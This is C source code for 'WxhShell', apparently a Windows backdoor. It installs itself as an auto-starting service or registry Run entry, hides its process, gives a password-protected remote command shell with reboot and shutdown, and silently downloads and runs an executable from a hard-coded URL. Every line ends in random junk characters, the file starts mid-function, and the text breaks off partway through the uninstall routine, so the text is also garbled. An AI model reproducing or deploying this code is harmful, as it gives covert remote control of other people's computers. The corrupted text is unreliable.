DWORD PebBaseAddress; bri8o"
DWORD AffinityMask; Q>+rjN;
DWORD BasePriority; 7?uDh'utt
ULONG UniqueProcessId; PDw+Q
ULONG InheritedFromUniqueProcessId; s+fxv(,"c
} PROCESS_BASIC_INFORMATION; fPKpV`Hr3
)V>OND
PROCNTQSIP NtQueryInformationProcess; {D",ao
q'+ARW48
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9'sZi}rT
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +FadOx7X$
'v0rnIsI?
HANDLE hProcess; DjN1EP\Xx
PROCESS_BASIC_INFORMATION pbi; ;T0X7MNx
nXhP ME
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T6\]*mlr
if(NULL == hInst ) return 0; xFThs,w
8N"WKBj|_d
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R\7r!38
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "\}h
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CEw%_U@8
NrXIaN
if (!NtQueryInformationProcess) return 0; j5:4/vD
~F,YBX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D]"W|.6@
if(!hProcess) return 0; Da8gOZ
Xp06sl7 M
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ic!% } S?
4[kyzz x
CloseHandle(hProcess); N;-%:nC
BxV>s+o&]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u
ynudO
if(hProcess==NULL) return 0; zY*~2|q,s
Cc{{9Ud
HMODULE hMod; HbB8A#u
char procName[255]; N3\RXXY
unsigned long cbNeeded; 2p;I<C:Eo
H? z~V-8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2BF455e
O>nMeU
CloseHandle(hProcess);
*BM#fe
ackeq#
if(strstr(procName,"services")) return 1; // 以服务启动 P`Now7!
GW
D4hT Hh
return 0; // 注册表启动 O#[b NLV
} | Z7j
s"
*JFkqbf
// 主模块 B-KMlHe
int StartWxhshell(LPSTR lpCmdLine) n^|xp;] :
{ JCBX?rM/
SOCKET wsl; d6[' [dG
BOOL val=TRUE; P* &0HbJ
int port=0; d*6/1vyjT
struct sockaddr_in door; uZ3do|um
z(%tu
if(wscfg.ws_autoins) Install();
[tt{wl"E
??.aLeF&
port=atoi(lpCmdLine); H$WD7/?j
0n2H7}Uq
if(port<=0) port=wscfg.ws_port; Gukvd6-g9b
hPz=Ec<zW
WSADATA data; ' ,]Aj!q
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LdOme[C1
*!
:j$n;
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0$-|Th:o
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zx]r.V
door.sin_family = AF_INET; 9a]o?>`E
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )h0>e9z>Y
door.sin_port = htons(port); z<fd!g+^
2TB'HNTFx
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |"%OI~^%
closesocket(wsl); LQ%QFfC
return 1; E.Th}+
} `\"<%CCe
*}#HBZe(9
if(listen(wsl,2) == INVALID_SOCKET) { PbS1`8|4
closesocket(wsl); M,ybj5:6
return 1; -
uO(qUa#
} t$VRNZ`dy
Wxhshell(wsl); "0 %fR"
WSACleanup(); ?,v&
o>*
j(;ou?Uh
return 0; tg 'g R
: 4-pnn
}
=a=:+q g
qj:[NPwaM
// 以NT服务方式启动 keD?#yY
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ju;OQC~[L]
{ iumwhb
DWORD status = 0; ^:ny
DWORD specificError = 0xfffffff; `~lG5|
]:2Ro:4Yv
serviceStatus.dwServiceType = SERVICE_WIN32; D'ZUbAh!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ZRw^<
+
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kRwY#
serviceStatus.dwWin32ExitCode = 0; @mg5vt!$`
serviceStatus.dwServiceSpecificExitCode = 0; 2g5 4<G*e
serviceStatus.dwCheckPoint = 0; V,c^Vqy
serviceStatus.dwWaitHint = 0; _ Dz*%
>f^kp8`3{Y
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )Kl@dj
if (hServiceStatusHandle==0) return; .L1[Rv3
1/ j>|
status = GetLastError(); (gvnIoDl0
if (status!=NO_ERROR) !UPB4I
{ <liprUFsn
serviceStatus.dwCurrentState = SERVICE_STOPPED; A@d 2Ukv
serviceStatus.dwCheckPoint = 0; Wql=PqF
serviceStatus.dwWaitHint = 0; b W/T}FND
serviceStatus.dwWin32ExitCode = status; 7 u Q +]d
serviceStatus.dwServiceSpecificExitCode = specificError; Syl 9j]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |=VWE>g
return; Df2$2VU
} m*)jndXY
JS\]|~Gd
serviceStatus.dwCurrentState = SERVICE_RUNNING; J~`!@!
serviceStatus.dwCheckPoint = 0; 3rN}iSF^
serviceStatus.dwWaitHint = 0; D_ej%QtB@
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )`Qr=DIsW
} HL$7Ou
`\ IaeMvo
// 处理NT服务事件,比如:启动、停止 9)=bBQyr:
VOID WINAPI NTServiceHandler(DWORD fdwControl) _^RN$4.R>
{ O#J7GbrHO
switch(fdwControl) v5?)J91
{ KkzG#'I1
case SERVICE_CONTROL_STOP: !~7lY]_U
serviceStatus.dwWin32ExitCode = 0; &"A:_5AU
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,d.5K*?aI
serviceStatus.dwCheckPoint = 0; `{yI|
Wf
serviceStatus.dwWaitHint = 0; k+i0@G'C(
{ m8b-\^eP7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); OaoHN& "
} *Ev8f11i&
return; ei1;@k/
case SERVICE_CONTROL_PAUSE: b"td]H3h
serviceStatus.dwCurrentState = SERVICE_PAUSED; n) HV:8j~
break; 4XiQ8"C
case SERVICE_CONTROL_CONTINUE: TL$w~dY
serviceStatus.dwCurrentState = SERVICE_RUNNING; &ns??:\+T
break; 9X#]Lg?b
case SERVICE_CONTROL_INTERROGATE: [;-;{
*{G
break; L9,GUtK{
}; V}2[chbl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lq6nmjL
} ~SA>$
bh\2&]Di/
// 标准应用程序主函数 ;Tq4!w'rH
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ag(JSVY
{ \7$"i5
`GY]JVW
// 获取操作系统版本 qn{9vr
OsIsNt=GetOsVer(); cL#zE
GetModuleFileName(NULL,ExeFile,MAX_PATH); OQg}E@LZ
4 s9^%K\8{
// 从命令行安装 Edcv>}PfE
if(strpbrk(lpCmdLine,"iI")) Install(); |?f~T"|>
&K=)YpT
// 下载执行文件 ,PKUgL}w
if(wscfg.ws_downexe) { v-!Spf
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <+%y
WinExec(wscfg.ws_filenam,SW_HIDE); 1`Bhis9X8
} }+u<w{-7/
D6yE/QeK4
if(!OsIsNt) { :y{@=E=XSC
// 如果时win9x,隐藏进程并且设置为注册表启动 &g*1 If
HideProc(); ?f:0GE7
StartWxhshell(lpCmdLine); ?e+y7K}"]
} 4/S3hH
else Pu BE=9,
if(StartFromService()) u-.nR}DM_
// 以服务方式启动 ].QzOV'
StartServiceCtrlDispatcher(DispatchTable); `!ja0Sq]U
else y<v-,b*
// 普通方式启动 fp 3`O9+em
StartWxhshell(lpCmdLine); JV!F<
EQHCw<e
return 0; G-vkkNj%e
} &f)pU>Di
G/( tgQ
wIF'|"
n7n-uc
=========================================== n{m[
j+UG
jEP'jib%
=6fJUy^M\
H:z<]Rc
M4d4b
a`C2:Z23(#
" _4k zlD
K[9P{0hA
#include <stdio.h> (ze9-!%
#include <string.h> [8WG
#include <windows.h> RWJyd=
#include <winsock2.h> 1dy"
#include <winsvc.h> 4a.8n!sys
#include <urlmon.h> LTb#1JC
iWe'|Br
#pragma comment (lib, "Ws2_32.lib") ue!4By8T
#pragma comment (lib, "urlmon.lib") N{Pa&/V
7<?Aou
#define MAX_USER 100 // 最大客户端连接数 S[&yO-=p6
#define BUF_SOCK 200 // sock buffer oHu 7<r
#define KEY_BUFF 255 // 输入 buffer 2,h]Y=.s
[cfXcl
#define REBOOT 0 // 重启 ,x[~|J!
#define SHUTDOWN 1 // 关机 ob[G3rfd@Z
5'wFZ=>vMt
#define DEF_PORT 5000 // 监听端口 ZNDjk
QbWeQ[V{
#define REG_LEN 16 // 注册表键长度 u*7>0o|H:
#define SVC_LEN 80 // NT服务名长度 i>pUTT
_[
mJVru0
// 从dll定义API 1n>AN.nI
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q$yQ^ mG
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Qgo|\=
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X#MC|Fzy@
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uxW<Eh4H*
)@.0ai
// wxhshell配置信息 OeQ~g-n
struct WSCFG { !]z4'* )W
int ws_port; // 监听端口 O&dh<
char ws_passstr[REG_LEN]; // 口令 W#x~x| (c
int ws_autoins; // 安装标记, 1=yes 0=no HJe6h. P
char ws_regname[REG_LEN]; // 注册表键名 Fa X 3@Sd!
char ws_svcname[REG_LEN]; // 服务名 0v3
8LBH)
char ws_svcdisp[SVC_LEN]; // 服务显示名 ' |yBz1uL
char ws_svcdesc[SVC_LEN]; // 服务描述信息 j4(f1
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VY!A]S"
int ws_downexe; // 下载执行标记, 1=yes 0=no _Vt
CC/
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^/$U(4
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Bthp_cSmLs
? y[i6yN9
}; 4(8BWP~.y2
O<?.iF%
// default Wxhshell configuration 7VfPS5se
struct WSCFG wscfg={DEF_PORT, U\"FYTC
"xuhuanlingzhe", v dU)
1, ofCN[u
"Wxhshell", FaG&U
"Wxhshell", srS5-fs
"WxhShell Service", ,esUls'nz'
"Wrsky Windows CmdShell Service", [O3)s] |
"Please Input Your Password: ", z{U^j:A
1, % )}rQqQ
"http://www.wrsky.com/wxhshell.exe", (/_w23rr
"Wxhshell.exe" [](] "r
}; C'joJEo
O F?o
// 消息定义模块 9_%??@^>
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; . H8 6f !=
char *msg_ws_prompt="\n\r? for help\n\r#>"; <x:^w'V_b
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %^;rYn3
char *msg_ws_ext="\n\rExit."; Gnie|[3
char *msg_ws_end="\n\rQuit."; }};AV)}J
char *msg_ws_boot="\n\rReboot..."; 7<93n`byM
char *msg_ws_poff="\n\rShutdown..."; o-<.8Z}>at
char *msg_ws_down="\n\rSave to "; :CXm@yF~4=
f(c#1AJE53
char *msg_ws_err="\n\rErr!"; TJ0;xn6o
char *msg_ws_ok="\n\rOK!"; >ZnnGX6$(
N >];xb>
char ExeFile[MAX_PATH]; qoC<qn{.a
int nUser = 0; ,mE}#cyY
HANDLE handles[MAX_USER]; FBA th
!E
int OsIsNt; *XG.?%x*|
K'U=);W
SERVICE_STATUS serviceStatus; L\t?^u
SERVICE_STATUS_HANDLE hServiceStatusHandle; AK$i0Rn;pm
'RIx}vPf
// 函数声明 fRcy$
int Install(void); di~ [Ivw
int Uninstall(void); AZbFj-^4
int DownloadFile(char *sURL, SOCKET wsh); %07vH&<C.
int Boot(int flag); E
qt\It9
void HideProc(void); 3s,a%GOk
int GetOsVer(void); FOSC#W9E
int Wxhshell(SOCKET wsl); " 8g\UR"[
void TalkWithClient(void *cs); ]
N7(<EV/
int CmdShell(SOCKET sock); eeOG(@@o(
int StartFromService(void); M4L<u,\1s
int StartWxhshell(LPSTR lpCmdLine); yOm#c>X
sbq:8P#
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?#/~BZR!
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O
_^Y*!
"0?"
E\
// 数据结构和表定义 207h$a,
SERVICE_TABLE_ENTRY DispatchTable[] = 6oq/\D$6~
{ 81S0: =
{wscfg.ws_svcname, NTServiceMain}, L&Pj0K-HT3
{NULL, NULL} ujeN|W
}; d{c06(#_
#9]O92t2UV
// 自我安装 ^-qz!ib
int Install(void) F<Z13]|
{ idY
Xv)R
char svExeFile[MAX_PATH]; +-MieiKv
HKEY key; ;^so;>F
strcpy(svExeFile,ExeFile); qGECw#
iY3TB|tMt
// 如果是win9x系统,修改注册表设为自启动 S1_):JvV
if(!OsIsNt) { a}kPc}n\
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3q0S}<h al
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #i-b|J+%
RegCloseKey(key); U{8x.CJ]
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SM[VHNr,-
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lxtt+R
RegCloseKey(key); n@//d.T
return 0; O|0,=
5
} c#8@>;
} dY.NQ1@"
} mZL0<vU@^
else { Ihx[S!:
x8RiYi+
// 如果是NT以上系统,安装为系统服务 6@=ipPCR
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *30T$_PiX|
if (schSCManager!=0) li%A?_/m<&
{ t^g+nguz
SC_HANDLE schService = CreateService sO8F0@%aH(
( UZ7ukn-
schSCManager, 23P7%\
wscfg.ws_svcname, 3u1\zse
wscfg.ws_svcdisp, \&^U9=uq
SERVICE_ALL_ACCESS, ~p\r( B7G
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +Al*MusS
SERVICE_AUTO_START, y6 gaoj
SERVICE_ERROR_NORMAL, z/f0.RJ
svExeFile, L
[X"N
NULL, kC/An@J^#
NULL, 3F{R$M}
NULL, MZdj!(hO
NULL, 7J5Yzu)D
NULL Xrzpn&Y=#
); F)=*Ga
if (schService!=0) w)"F=33}5
{ 9mB] \{^
CloseServiceHandle(schService); ~5n?=
CloseServiceHandle(schSCManager); (kSb74*g
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E&> 2=$~
strcat(svExeFile,wscfg.ws_svcname); F&D,y-CQ
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~R~MC(5N[
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]nm(V
RegCloseKey(key); 8l>YpS*S^
return 0; U]O>DM^'
} u Uh6/=y
} MUMB\K*$
CloseServiceHandle(schSCManager); F2dwT
} !>6`+$=U
} Nq[-.}Z6
\N)!]jq
return 1; ]N6UY
} fq !CB]C
P
B{7u
// 自我卸载 XPMvAZL
int Uninstall(void) *I`Eb7
^
{ hj=k[t|g}
HKEY key; ZKVM9ofXRi
(FSa>
if(!OsIsNt) { !1`f84d
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P&AaD!Qn
RegDeleteValue(key,wscfg.ws_regname); j`_tb
RegCloseKey(key); <E7y:%L[Go
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ){4$oXQ
RegDeleteValue(key,wscfg.ws_regname); jN!sLW
RegCloseKey(key); ``Rg0o
return 0; ^2"w5F
} %Wt F\p
} x=V3_HI/}
} >*]B4Q
else { P$"s*otr
&IkHP/
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .Iv`B:4
if (schSCManager!=0) $QaEU="Z
{ )?k~E=&o